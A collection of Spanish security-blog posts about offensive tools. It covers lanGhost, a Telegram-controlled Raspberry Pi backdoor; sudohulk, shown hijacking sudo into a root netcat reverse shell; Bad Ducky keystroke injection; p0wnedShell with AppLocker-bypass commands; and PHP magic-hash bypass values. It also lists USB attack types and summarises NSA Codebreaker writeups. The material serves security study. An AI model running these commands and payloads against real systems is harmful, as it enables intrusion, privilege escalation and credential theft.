[-] sitestream.twitter.com
[-] smf1.twitter.com
[-] smfc-vpn1-au.net.twitter.com
[-] smfc-vpn2-au.net.twitter.com
[-] sms-be-vip.twitter.com
[-] sms.twitter.com
[-] splunk-master.atla.twitter.com
[-] splunk-master.smf1.twitter.com
[-] splunk.atla.twitter.com
[-] splunk.smf1.twitter.com
[-] status.twitter.com
[-] stream.twitter.com
[-] supplier.twitter.com
[-] support-0.twitter.com
[-] support.twitter.com
[-] syndication-o.twitter.com
[-] syndication.twitter.com
[-] td.twitter.com
[-] tdapi.twitter.com
[-] tdweb.twitter.com
[-] ton.twitter.com
[-] tweetdeck.twitter.com
[-] ui.netsec.smfc.twitter.com
[-] upload.twitter.com
[-] urls-real.api.twitter.com
[-] urls.api.twitter.com
[-] userstream.twitter.com
[-] view.e.twitter.com
[-] vpn-lab-au1.net.twitter.com
[-] vpn-lab.atlc.twitter.com
[-] vpn-lab.smfc.twitter.com
[-] vpn1.atlc.twitter.com
[-] vpn1.smfc.twitter.com
[-] vpn2.atlc.twitter.com
[-] vpn2.smfc.twitter.com
[-] widgets.platform.twitter.com
[-] www.twitter.com
[-] xstream.twitter.com
[-] yum.atla.twitter.com
[-] yum.local.twitter.com
[-] yum.smf1.twitter.com


[!] Done. Have a nice day! ;).
Esto nos facilitaría cuantiosamente la labor de búsqueda en crt.sh proporcionando lo que buscábamos en cuestión de segundos.

GitHub: https://github.com/UnaPibaGeek/ctfr

TopHat: un RAT FuD con una shell cifrada con RSA

lanGhost: un backdoor en tu Raspberry Pi controlado mediante Telegram

$
0
0
Un ejercicio típico de Red Team es llevar a cabo una intrusión física dejando conectado a la red interna de una empresa un dispositivo que hará los labores de backdoor evadiendo así la seguridad perimetral y atacando "desde dentro".

Imagina además que ese dispositivo, por ejemplo una Raspberry Pi, puede ser controlado directamente mediante Telegram. Gracias a David Schütz y su herramienta lanGhost es muy fácil hacerlo: una serie de scripts que implementan un conjunto de ataques que pueden ser controlados mediante un bot de Telegram. ¿Suena bien, verdad? Pues vamos a probarlo!

Lo primero que haremos es crear el bot como siempre llamando a BotFather:



Ahora accederemos a la RPi y ejecutaremos los siguientes comandos:

$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py

A continuación tendremos que seguir 4 sencillos pasos para completar la instalación:


Si seleccionamos en el paso 4/4 el inicio automático, la RPi estará completamente configurada para iniciar lanGhost al arrancar y enviarte un mensaje en Telegram con el texto: lanGhost started! 👻

Ya lo tenemos, simplemente lo conectamos a la red de destino enchufando el cable Ethernet en la RPi y conectando la energía a través de un micro USB y ¡listo!

lanGhost también puede funcionar a través de WiFi, pero primero tendremos que configurar wpa_supplicant para conectarse a la red automáticamente. Tener en cuenta también que lanGhost no está configurada para ser silenciosa, cualquiera que monitorice el tráfico puede ver los paquetes ARP!

Comandos disponibles

/scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.

Escaneando la red (/scan o /scanip)

 
Capturando tráfico de un objetivo (/mitm)



Falsificando un nombre DNS (/spoofdns)

Shell reversa (/reverse)


Más demos (vídeos)

https://github.com/xdavidhu/lanGhost/blob/master/DEMOS.MD

Proyecto

https://github.com/xdavidhu/lanGhost

Hacking con Python (by Daniel Echeverri #hc0n2018)

$
0
0
Otro de los grandes ponentes y uno de los más populares que tuvimos en la h-c0n fue Daniel Echeverri, más conocido por @adastra. Fundador de The Hacker Way, profesor/colaborador en Securizame, ponente y habitual en muchas conferencias y escritor de varios libros, dos de los cuales (los de Python de 0xword) fueron los más votados por vosotros para el sorteo.

En el salón de actos de la ETSISI tuvimos la suerte de poder presenciar su charla 'Hacking con Python' en la que nos enseñó cómo manipular shellcodes y malware desde Python creando rutinas para la inyección de código malicioso e inyectando en procesos bajo sistemas Linux y Windows. Además de la creación de keyloggers, screen scrapers y webcam scrapers para "monitorizar" la actividad del usuario. Si no estuvisteis os recomiendo al menos echar un vistazo a las slides:


- Fotos:


- Enlaces (web h-c0n):

http://www.h-c0n.com/p/ponentes.html#Daniel
http://www.h-c0n.com/p/ponencias.html#Python

Intentando escalar privilegios cambiando el comando de sudo con sudohulk

$
0
0
sudohulk es una herramienta que es capaz de cambiar el comando sudo lanzado por otro usuario en otra shell (bash o zsh) hookeando la syscall execve mediante ptrace. Soporta las arquitecturas x86_64, x86 y arm.

Instalación

$ git clone https://github.com/hc0d3r/sudohulk.git
$ cd sudohulk
$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o

Uso

$ ./sudohulk
sudohulk [-qdk] PID COMMAND [ARGS]

Options:
   -q quit when change a command
   -d run in background
   -k keep original command line (appending to new)

Ejemplo: cambio de comando 'ls' por 'id' al ejecutar sudo en sesión actual

$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm:
uid=0(root) gid=0(root) grupos=0(root)

Ejemplo: cambio de comando 'ls' por shell reversa con 'nc' en la sesión de la víctima

malicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh
starting attach pid: 6610

[*] new process created: 6887
[+] (6887) sys_execve detected >>> '/usr/bin/sudo'
[+] sudo detected
[*] overwriting parameters
[-] exiting ...

victima@host:~$ sudo ls
Android      Escritorio        MEGAsync           peda           stopfw.sh

malicioso@host:~$ nc -nlvp 6969
listening on [any] 6969 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55866
id
uid=0(root) gid=0(root) grupos=0(root)


Demo video

NOTA: muchas distros que usan LSM (Linux Security Modules) como Yama implementan medidas de control sobre ptrace (bloquean las llamadas de los procesos que no sean hijos). Para que esta herramienta funcione, por ej. en las últimas versiones de Ubuntu, necesitaremos el sysctl /proc/sys/kernel/yama/ptrace_scope a 0 con lo cual la herramienta dejaría de ser efectiva. En otras distribuciones como Kali ya está desactivado por defecto.

Proyecto: https://github.com/hc0d3r/sudohulk

29 tipos de ataque USB distintos

$
0
0
Un grupo de investigadores de la Universidad Ben-Gurion de Negev en Israel publicó el año pasado en la revista ScienceDirect un interesante artículo en el que identifican 29 formas distintas en las que podría usarse un dispositivo USB para comprometer un equipo.

El propósito de esa investigación fue alertar a los usuarios de las numerosas posibilidades que tiene un atacante de abusar de los dispositivos USB para infectar un sistema y robar de forma encubierta datos de redes protegidas y aisladas. La recomendación del equipo de investigación es que los dispositivos USB estén prohibidos o al menos controlados estrictamente en redes seguras.

Para clasificar estos métodos de explotación crearon además cuatro categorías diferentes según la forma en que se lleve a cabo el ataque:

A) Reprogramando el microcontrolador interno del dispositivo USB. El dispositivo se ve como un dispositivo USB normal (por ejemplo un cargador), pero lleva a cabo las operaciones de otro (por ejemplo un teclado que inyecta pulsaciones de teclas).

B1) Reprogramando el firmware del dispositivo USB para ejecutar acciones maliciosas (como descarga de malware, exfiltración de datos, etc.).

B2) No reprogramando el firmware del dispositivo USB sino aprovechando los fallos en la forma en que los sistemas operativos normalmente interactúan con los protocolos/estándares USB.

C) Ataques eléctricos basados en USB.



Ataques reprogramando el microcontrolador interno del dispositivo USB

1) Rubber Ducky: dispositivo comercial lanzado en 2010. Una vez conectado a un host, el Rubber Ducky se presenta como un teclado e inyecta una secuencia de pulsaciones de teclas precargadas.

2) Plataformas de ataque PHUKD/URFUKED: similar a Rubber Ducky, pero permite a un atacante seleccionar el momento en que inyecta las teclas maliciosas.

3) USBdriveby: anula la configuración de DNS en un host OS X desbloqueado a través de USB en cuestión de segundos mediante la emulación de un teclado y mouse USB.

4) Evilduino: similar a PHUKD/URFUKED, pero utiliza microcontroladores Arduino en lugar de Teensy. También funciona emulando un teclado/mouse y puede enviar teclas y movimientos del cursor del mouse al host de acuerdo con un script precargado.

5) Canal USB no deseado: PoC de un troyano de hardware USB que exfiltra datos basados ​​en canales USB no deseados (como el uso de altavoces USB para filtrar datos).

6) TURNIPSCHOOL (COTTONMOUTH-1): un implante de hardware oculto dentro de un cable USB. Desarrollado por la NSA.

7) Ataque RIT a través de almacenamiento masivo USB: ataque descrito en un documento de investigación. Se basa en cambiar el contenido de los archivos mientras el dispositivo de almacenamiento masivo USB está conectado a la computadora de la víctima.

8) Ataques a dongles USB inalámbricos: una categoría de ataques que Samy Kamkar exploró por primera vez con el lanzamiento de la plataforma de ataque KeySweeper, una herramienta que registra y descifra de forma silenciosa las pulsaciones de tecla de muchos teclados inalámbricos RF de Microsoft.

9) Anulación de puerta de enlace predeterminada: un ataque que utiliza un microcontrolador para falsificar un adaptador USB de Ethernet para anular la configuración de DHCP y secuestrar el tráfico local.

Ataques reprogramando el firmware de dispositivo USB

10) Ataques HID basados ​​en smartphones: descritos por primera vez en un paper para el cual los investigadores crearon controladores de dispositivos Android personalizados para sobrescribir cómo interactuaba Android con dispositivos USB. El controlador malicioso interactuó con la API de gadgets USB de Android para simular el teclado USB y los dispositivos de mouse conectados al teléfono.

11) Anulación de DNS por firmware USB modificado: los investigadores modificaron el firmware de una unidad flash USB y lo usaron para emular un adaptador USB-ethernet, lo que les permitió secuestrar el tráfico local.

12) Emulación de teclado mediante firmware USB modificado: varios investigadores mostraron cómo el envenenamiento del firmware de las unidades flash USB, un atacante podría inyectar pulsaciones de teclado [1, 2, 3].

13) Parche de partición oculta: varios investigadores demostraron cómo una unidad flash USB podría reprogramarse para actuar como un disco normal, creando una partición oculta que no se puede formatear, lo que permite la exfiltración encubierta de datos.

14) Parche de bypass de protección de contraseña: una pequeña modificación del firmware de una unidad flash USB permite a los atacantes evitar las unidades flash USB protegidas con contraseña.

15) Virtual Machine Break-Out: investigadores usaron el firmware USB para escapar de los entornos de máquinas virtuales.

16) Boot Sector Virus: investigadores utilizaron una unidad flash USB para infectar la computadora antes de que arranque [1, 2].

17) iSeeYou: reprogramación del firmware de una clase de cámaras web iSight internas de Apple para que un atacante pueda capturar video de forma encubierta sin la advertencia del indicador LED.

Ataques basados ​​en dispositivos USB no reprogramados

18) CVE-2010-2568: exploit .LNK utilizado por el malware Stuxnet y Fanny

19) USB Backdoor en equipos aislados: ataque utilizado por el malware Fanny, desarrollado por Equation Group (nombre en clave para la NSA). El ataque utiliza almacenamiento oculto USB para guardar comandos preestablecidos que mapean los ordenadores en redes aisladas. La información en las redes se guarda nuevamente en el almacenamiento oculto de la unidad flash USB.

20) Ocultación de datos en dispositivos de almacenamiento masivo USB: una gran colección de trucos para esconder malware o datos robados dentro de una unidad flash USB (por ej. almacenar datos fuera de las particiones normales, ocultar el archivo dentro de una carpeta invisible haciendo el icono de esa carpeta y nombre transparente, etc.).

21) Exploits AutoRun: dependiendo de cómo se configuraron, algunos PC ejecutan automáticamente los archivos predeterminados ubicados en el almacenamiento de un dispositivo USB. Hay una categoría completa de malware dedicada a este malware llamado autorun.

22) Cold Boot Attacks: también conocido como el ataque de volcado de RAM. Los atacantes pueden almacenar un volcado de memoria en una unidad flash USB y extraer los datos de la RAM al arrancar desde un dispositivo USB.

23) Ataques basados ​​en desbordamiento de búfer: varios ataques que se basan en la explotación de desbordamientos de búfer del sistema operativo cuando se inserta un dispositivo USB en un ordenador. Esto sucede porque los sistemas operativos enumerarán los dispositivos y las funciones (ejecutarán ciertas operaciones predeterminadas) cuando se inserte un dispositivo USB [1, 2, 3, 4].

24) Actualización de driver: ataque muy complejo que se basa en la obtención de un certificado de organización de clase 3 de VeriSign y el envío de controladores a Microsoft que se entregan e instalan automáticamente en los PC del usuario cuando se inserta un determinado dispositivo USB. Este ataque es posible, pero muy difícil de lograr en el mundo real.

25) Actualización del firmware del dispositivo (DFU): los atacantes pueden usar la actualización del firmware del dispositivo (DFU), un proceso legítimo compatible con el estándar USB, para actualizar el firmware legítimo local a una versión maliciosa.

26) USB Thief: un software de robo de datos basado en una unidad flash USB que ESET descubrió recientemente.

27) Ataques a teléfonos inteligentes a través del puerto USB: los atacantes pueden esconder y entregar malware (malicioso) a través de cargadores de teléfonos USB.

28) Ataque USBee: hace que el bus de datos de un conector USB emita emisiones electromagnéticas que puedan usarse para filtrar datos.

Ataques eléctricos

29) USB Killer: destruye dispositivos de forma permanente al insertar un dispositivo USB que activa una descarga eléctrica.

Fuente: Here's a List of 29 Different Types of USB Attacks

Hardware reversing (firmware y UEFI) (by Guillermo Campillo #hc0n2018)

$
0
0
Vamos acabando de publicar el material de los ponentes h-c0n, esta vez con la presentación 'Hardware reversing (firmware y UEFI)' de Guillermo Campillo (@pekeinfo), analista de malware y reversing desde el 2014 y en la actualidad trabajando en S21sec.

Se trata de una introducción al análisis de aplicaciones UEFI para iniciarse en el mundo del análisis de UEFI. Durante varios años cada día es mas frecuente escuchar la palabra UEFI y en esa charla Guillermo nos contó qué es y qué no es UEFI, así como una introducción para la depuración de aplicaciones que son de utilidad para tomar contacto sobre el estándar UEFI.


- Fotos:


- Enlaces (web h-c0n):

http://www.h-c0n.com/p/ponentes.html#Guillermo
http://www.h-c0n.com/p/ponencias.html#UEFI

- Enlaces (agradecimientos):

https://github.com/lmanoarchilla
http://www.opensecuritytraining.info/IntroBIOS.html


contact.sh: script para encontrar a quién reportar vulnerabilidades #bugbounty

$
0
0
Ed (edoverflow) ha desarrollado un script en bash que hace de herramienta OSINT para encontrar contactos con el fin de reportar vulnerabilidades de seguridad. No es que sea (todavía) algo extenso y complejo pero es bastante novedoso e interesante sobretodo para aquellos que son asiduos a los programas de bug bounty. 

Instalación

Linux

$ sudo apt install jq (jq - Command-line JSON processor)
$ git clone https://github.com/EdOverflow/contact.sh.git
$ cd contact.sh/
$ chmod u+x contact.sh
$ ./contact.sh -d google.com -c google

OSX

$ brew install gnu-sed --with-default-names
$ brew install jq
$ git clone https://github.com/EdOverflow/contact.sh.git
$ cd contact.sh/
$ chmod u+x contact.sh
$ ./contact.sh -d google.com -c google

Uso:     

$ ./contact.sh


 _  _ __ _|_ _  _ _|_    _ |_
(_ (_)| | |_(_|(_  |_ o _> | |
            ---
        by EdOverflow


[i] Description: An OSINT tool to find contacts in order to report security vulnerabilities.
[i] Usage: ./contact.sh [Options] use -d for hostnames (-d example.com), -c for vendor name (-c example), and -f for a list of hostnames in a file (-f domains.txt)
[i] Example: ./contact.sh -d google.com -c google

El parámetro -d se utiliza para encontrar direcciones vinculadas a un dominio. contact.sh devolverá un "nivel de confianza" basado en la fuente de la información obtenida. Un archivo security.txt ubicado en el dominio tendrá una prioridad más alta que una cuenta de Twitter en el sitio web de la compañía.

$ ./contact.sh -d google.com

El parámetro -c permite especificar el nombre de la compañía.

$ ./contact.sh -c google

Si el nombre de la empresa contiene espacios, hay que colocar el nombre entre comillas.

$ ./contact.sh -c "keeper security"

Se puede verificar una lista de dominios usando el indicador -f.

$ ./contact.sh -f domains.txt

Para obtener los mejores resultados, hay que combinar ambos parámetros de la siguiente manera:

$ ./contact.sh -d google.com -c google

contact.sh se basa en el archivo robots.txt del objetivo.

$ ./contact.sh -d linkedin.com

Proyecto: https://github.com/EdOverflow/contact.sh

Bad Ducky: un "Rubber Ducky" por sólo 6,50€

$
0
0
Bad Ducky es otro clon de Rubber Ducky. Se basa en la placa CJMCU BadUsb (ATMEGA32u4 - clon de Arduino Leonardo) con lector de tarjetas incorporado, que puede comprar en ebay o aliexpress por sólo 8,23€ 6,50€!:

- es completamente compatible con los scripts de Rubber Ducky (todos los comandos son compatibles)
- los scripts no requieren compilarse ni codificarse
- no hay límite en el tamaño del payload (el único límite es el espacio disponible en la tarjeta SD)
- tiene dos modos operativos (entrega o delivery continua o de una sola vez)
- se puede cambiar entre modos/payloads con un smartphone
- tiene soporte para diferentes lenguajes de teclado

Para instalarlo el único requisito es tener el IDE de Arduino. Conectaremos nuestro Bad Ducky (el sistema lo reconocerá como un Arduino Leonardo):


 elegiremos el puerto serie correspondiente y subiremos el sketch bad_ducky.ino:


A continuación tendremos que formatear en FAT32 la tarjeta SD y guardar todos los scripts que queramos. En el repositorio de Bad Ducky tienes unos cuantos scripts de demo pero recuerda que es totalmente compatible con los "ducky scripts", así que echa un vistazo al repositorio oficial de Hak5 o a esta recopilación de los mejores 60 scripts para Rubber Ducky.

Lo siguiente será volver a conectar el Bad Ducky, seleccionar nuestro puerto serie e irnos a 'Monitor Serie' (Control+Mayús+M), ahí tendremos que finalizar con tres sencillos pasos:

Paso 1 - elegir el modo de entrega deseado:

Hay tres modos de trabajo:

- "m" gestión: no hace nada especial, solo permite conmutar el modo/payload (el LED está encendido)
- "c" modo de entrega continua: ejecuta el payload seleccionado cada vez que conecta el dispositivo
- "a" modo de autodesarmado (entrega única): ejecuta el payload seleccionado solo una vez y luego el modo se cambiará a gestión

Paso 2 - elige el idioma del teclado

Para el ejemplo EN (inglés)

Paso 3 - elige el script

Probaremos el Bad Ducky en una máquina con ubuntu, así que indicaremos el script "demo3.txt". Presionaremos enter y ya estará todo listo.


Cuando lo enchufemos en la máquina de la víctima debería abrise automáticamente el editor de texto gedit y recibir un bonito "¡Hola mundo!"

Cambiar el modo de funcionamiento y el payload desde el smartphone

Se puede cambiar entre modos/payloads con un teléfono móvil. Todo lo que necesitamos es un cable OTG y alguna aplicación de terminal como Serial USB Terminal.


¿Mola, eh? Pues tienes un montón de scripts para Linux, Windows y MacOS, para gastar una simple broma o para robar datos, capturar el teclado (keylogger) o abrir una webshell remota por poner unos ejemplos... Ya sabéis las posibilidades son casi infinitas, y por este precio...

Fuente: https://github.com/mharjac/bad_ducky/

Proyectos similares:

Writeups del NSA Codebreaker 2017

$
0
0
Cada año, la NSA lanza un reto llamado Codebreaker que requiere ingeniería inversa y habilidades de exploting. Este año fue diseñado para conducir a los jugadores a través de algunas de las fases que podrían darse si se encuentra a alguien malicioso en la red. En total seis tareas, cada una basada en la anterior y que requerían diferentes habilidades. Hubo 1.098 participantes y solo tres pudieron completar las seis tareas. Gracias a Jonathan Armer podemos ver cada uno de los writeups del reto planteado por la agencia de espionaje más famosa del mundo:

Descripción del reto:

DISCLAIMER: La siguiente es una historia FICTICIA diseñada para proporcionar un contexto realista para el Desafío Codebreaker y no está vinculada de ninguna manera a eventos reales.

El Departamento de Seguridad Nacional (DHS) ha solicitado la ayuda de la NSA para investigar actividades inusuales de la red dentro de un gran sistema SCADA. El sistema controla la infraestructura crítica para múltiples ciudades, por lo que es imperativo que la evaluación se lleve a cabo de inmediato. Si se encuentran intrusiones, debemos identificar cómo se comprometieron los sistemas y neutralizar la amenaza. A la DHS le preocupa que alguien intente tomar el control de los nodos del sensor distribuido y forme una botnet grande. Si esto sucede, podrían usarlo para causar estragos en las ciudades y potencialmente lanzar ataques DDoS contra otras redes críticas. ¡Necesitamos tu ayuda para evitar que esto suceda!

Para este desafío, se le entregará una serie de seis tareas, cada una de ellas en dificultad creciente, con el objetivo final de neutralizar por completo la red zombi. Estas tareas se resumen de la siguiente manera:

- Configurar una instancia de prueba del sistema (Tarea 0)
- Analizar el tráfico de red sospechoso (Tareas 1 y 2)
- Analizar los componentes críticos del sistema en busca de vulnerabilidades (Tareas 3 y 4)
- Realizar un análisis forense de un endpoint comprometido (Tarea 5)
- Diseñar un exploit para el servidor de botnets y diseñar una estrategia para limpiar los endpoints infectados (Tarea 6)

¡¿Estás preparado para el desafío?!

Tarea 1: analizar tráfico de red sospechoso, parte 1

Se obtiene una captura de tráfico y hay descubrir qué IP son sospechosas. Para hacerlo más fácil, daban las claves de descifrado. Este ejercicio permite comprender mejor el protocolo MQTT y lo que está sucediendo.

Task 1 Writeup

Tarea 2: analizar tráfico de red sospechoso, parte 2

Al igual que la tarea anterior, se dispone de una captura de tráfico y hay que encontrar IP sospechosas. Esta vez no se proporcionan las claves y se pide que se escriba una regla de Snort o de Bro para automatizar el proceso.

Task 2 Writeup

Tarea 3: analizar componentes críticos del sistema en busca de vulnerabilidades, parte 1

En función de las IPs encontradas anteriormente, los hipotéticos compañeros de equipo determinan que alguien está atacando su red. El jugador tiene la tarea de auditar el código fuente del módulo de autenticación en busca de vulnerabilidades.

Task 3 Writeup

Tarea 4: analizar componentes críticos del sistema en busca de vulnerabilidades, parte 2

En función de la vulnerabilidad que descubrió en la tarea tres, el equipo de desarrollo ha auditado los programas agent y agent_controller. El objetivo aquí es auditar el binario de terceros libauth.so, para el cual no se tiene el código fuente. Este módulo se usa para validar la firma de los mensajes críticos del sistema que se envían a los agentes.

Task 4 Writeup

Tarea 5: realizar un análisis forense de un endpoint comprometido

Para esta tarea, se proporciona una captura de memoria de uno de los agentes de MQTT. Se necesita identificar el PID del proceso malicioso, todo lo relacionado con MQTT y el servidor HTTP C2 del atacante. Para hacer esto, se puede usar Volatility para analizar el volcado de memoria, y un desensamblador para analizar el código de cualquier proceso extraído.

Task 5 Writeup

Tarea 6: crear un exploit para el servidor de la Botnet e idear una estrategia para limpiar los endpoints infectados


Se identifica un servidor con el perfil del que actualmente está utilizando el botmaster. Debemos ejecutarlo y luego buscar la manera de explotarlo para encolar y lanzar un comando y desinstalar la botnet. Para finalizar esta tarea, se necesitan encontrar 4 vulnerabilidades diferentes en el software proporcionado. En python se necesita usar pickle para enviar código python, explotar un format string y usar una bomba gzip para causar un error. Para obtener el exploit en el servidor, se tiene que explotar el bridge para hacer un pipeline HTTP.

Task 6 Part 1 Writeup
Task 6 Part 2 Writeup

Hashes "mágicos" en PHP (type jugling)

$
0
0
En PHP utilizar el operador igual-igual '==' puede traer serias implicaciones sobretodo a la hora de comparar hashes de contraseñas:

1.- Cuando se utiliza '==' PHP realiza un type juggling para determinar el tipo de variables que va a comparar.
2.- Los hashes en PHP están codificados en base16 y pueden encontrarse en formato "0e812389...".
3.- 0e significa "0 elevado a" por lo que si PHP encuentra una variable que empieza por "0e" seguida de números va a determinar que la variable es un flotante (aunque realmente sea un string).
4.- Evidentemente 0 elevado al número que sea va a ser siempre 0 (o mejor dicho 0.0)
5.- Si encontramos texto claro que al hashear (con el algoritmo correspondiente) de un resultado que empiece por "0e" habremos encontrado una contraseña que podría ser válida para muchos hashes del sistema (siempre que se use incorrectamente el operador '==' en lugar de '===').

Veamos unos ejemplos con md5. Primero obtenemos las "strings" mágicas:  

$ echo -n 240610708 | md5sum
0e462097431906509019562988736854  -
$ echo -n QNKCDZO | md5sum
0e830400451993494058024219903391  -
$ echo -n aabg7XSs | md5sum
0e087386482136013740957780965295  -

Luego vemos que al compararlas con el operador '==' y con cualquier hash que empiece por '0e' el resultado es siempre verdadero:
                                                                          
$ php -a
Interactive mode enabled       
php > var_dump(md5('240610708') == '0e111111111111111111111111111111');                              
bool(true)                  

Pero si no empieza por '0e' el resultado será falso:
                                                                         
php > var_dump(md5('240610708') == 'NO462097431906509019562988736854');                              
bool(false)
   
Por lo tanto en todas las implementaciones que usan php nunca está de más fuzzear los parámetros de contraseñas con estos valores que generan estos hashes "mágicos":

Hash Type
Hash Length
“Magic” Number / String
Magic Hashes
Found By
md2325051447260e015339760548602306096794382326WhiteHat Security, Inc.
md432482912040e266546927425668450445617970135WhiteHat Security, Inc.
md5322406107080e462097431906509019562988736854Michal Spacek
sha140109324351120e07766915004133176347055865026311692244Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha22456
sha25664
sha38496
sha512128
ripemd128323156558540e251331818775808475952406672980WhiteHat Security, Inc.
ripemd160402058300203400e1839085851394356611454660337505469745Michael A Cleverly
ripemd25664
ripemd32080
whirlpool128
tiger128,3322650226400e908730200858058999593322639865WhiteHat Security, Inc.
tiger160,3401318162357000e4706040169225543861400227305532507173Michele Spagnuolo
tiger192,348
tiger128,43247976300000e05651056780370631793326323796WhiteHat Security, Inc.
tiger160,440622419555740e69173478833895223726165786906905141502Michele Spagnuolo
tiger192,448
snefru64
snefru25664
gost64
adler328FR00e00099WhiteHat Security, Inc.
crc32823320e684322WhiteHat Security, Inc.
crc32b865860e817678WhiteHat Security, Inc.
fnv132821860e591528WhiteHat Security, Inc.
fnv1641683380000e73845709713699WhiteHat Security, Inc.
joaat884090e074025WhiteHat Security, Inc.
haval128,33280979363000e38549671092424173928143648452WhiteHat Security, Inc.
haval160,340181599831630e01697014920826425936632356870426876167Independently found by Michael Cleverly & Michele Spagnuolo
haval192,348488920569470e4868841162506296635201967091461310754872302741Michael A. Cleverly
haval224,356
haval256,364
haval128,432714375790e316321729023182394301371028665WhiteHat Security, Inc.
haval160,440123688787940e34042599806027333661050958199580964722Michele Spagnuolo
haval192,448
haval224,456
haval256,464
haval128,5321155282870e495317064156922585933029613272WhiteHat Security, Inc.
haval160,5403390268823100e2521569708250889666329543741175098562Michele Spagnuolo
haval192,548528886405560e9108479697641294204710754930487725109982883677Michele Spagnuolo
haval224,556
haval256,564

Y por último lo más sorprendente... ¿por qué no se han incorporado todavía estas strings en diccionarios de contraseñas/payloads como fuzzdb, seclist, en Kali etc.? ;)

Fuentes:
- https://www.whitehatsec.com/blog/magic-hashes/
- http://digitalloft.org/init/plugin_wiki/page/juggling-hashes-with-your-eyes-closed-in-php
- https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

p0wnedShell: un toolkit ofensivo "todo en uno" con un runspace en Powershell

$
0
0
p0wnedShell de los holandeses Cn33liz y Skons es un toolkit ofensivo de PowerShell escrito en C# que no depende de powershell.exe pero ejecuta comandos y funciones de powershell dentro de un entorno de espacio de ejecución de powershell (.NET).

Trae una gran cantidad de módulos ofensivos de PowerShell y binarios para facilitar el proceso de Post-Explotación y es que se trata de una solución "todo en uno" que se puede utilizar para eludir todas las soluciones de mitigación (o al menos algunas de ellas), y que incluye todas las herramientas relevantes.

Para compilar p0wnedShell, necesitaremos abrir el proyecto dentro de Microsoft Visual Studio y compilarlo para plataformas x64/x86. Se pueden cambiar las siguientes opciones de AutoMasq antes de compilar:   

public static bool AutoMasq = true;

public static string masqBinary = @"C:\Windows\Notepad.exe";

Con AutoMasq establecido a falso, el ejecutable se lanza normalmente. Con AutoMasq habilitado, se puede cambiar el nombre del ejecutable p0wnedShell como el proceso que va a enmascarar (masqBinary), por lo que tiene la apariencia de ese proceso (por ejemplo notepad.exe).

Usando el argumento opcional "-parent", se puede iniciar p0wnedShell usando otro ID de proceso. Al combinar la opción PEB Masq y un ID diferente de proceso (por ejemplo, svchost) se puede dar a p0wnedShell la apariencia de un servicio legítimo.

Nota: Ejecutar p0wnedShell usando otro Parent Process ID no funciona todavía desde una sesión/shell de Meterpreter.
Changing the Parent Process ID can also be used to spawn a p0wnedShell process with system privileges, 
for example using lsass as the the parent process.
For this you need to have UAC elevated administrator permissions.

C:\p0wnedShell>p0wnedShellx64.exe -parent
 
 [+] Please enter a valid Parent Process name.
 [+] For Example: C:\p0wnedShell\p0wnedShellx64.exe -parent svchost
 
C:\p0wnedShell>p0wnedShellx64.exe -parent lsass

Para ejecutar como binario x86 y evitar Applocker (Créditos pa Casey Smith aka subTee para este gran bypass):
cd \Windows\Microsoft.NET\Framework\v4.0.30319 (O un directorio de una versión .NET más moderna)

InstallUtil.exe /logfile= /LogToConsole=false /U C:\p0wnedShell\p0wnedShellx86.exe

Para ejecutar como binario x64 y evitar Applocker:
cd \Windows\Microsoft.NET\Framework64\v4.0.30319 (O un directorio de una versión .NET más moderna)

InstallUtil.exe /logfile= /LogToConsole=false /U C:\p0wnedShell\p0wnedShellx64.exe

Herramientas/funciones de PowerShell incluidas:
  • PowerSploit: Invoke-Shellcode
  • PowerSploit: Invoke-ReflectivePEInjection
  • PowerSploit: Invoke-Mimikatz
  • PowerSploit: Invoke-TokenManipulation
  • PowerSploit: PowerUp and PowerView
  • Rasta Mouse: Sherlock
  • HarmJ0y's: Invoke-Psexec and Invoke-Kerberoast
  • Rohan Vazarkar's: Invoke-BloodHound (C# Ingestor)
  • Chris Campbell's: Get-GPPPassword
  • Tim Medin's: GetUserSPNS
  • Besimorhino's: PowerCat
  • Nishang: Copy-VSS and Invoke-Encode
  • Nishang: Invoke-PortScan and Get-PassHashes
  • Kevin Robertson: Invoke-Tater, Invoke-SMBExec and Invoke-WMIExec
  • Kevin Robertson: Invoke-Inveigh and Invoke-InveighRelay
  • FuzzySecurity: Invoke-MS16-032 and Invoke-MS16-135
Las funciones Powershell dentro del Runspace se cargan en la memoria comprimidas y codificadas en Base64.

Binarios/herramientas incluidos:
  • Benjamin DELPY's Mimikatz
  • Benjamin DELPY's MS14-068 kekeo Exploit
  • Didier Stevens modification of ReactOS Command Prompt
  • MS14-058 Local SYSTEM Exploit
  • hfiref0x MS15-051 Local SYSTEM Exploit
Los binarios se cargan en memoria usando ReflectivePEInjection (los arrays de Byte se comprimen usando Gzip y se guardan dentro de p0wnedShell como cadenas codificadas en Base64).

Proyecto: https://github.com/Cn33liz/p0wnedShell
Viewing all 1668 articles
Browse latest View live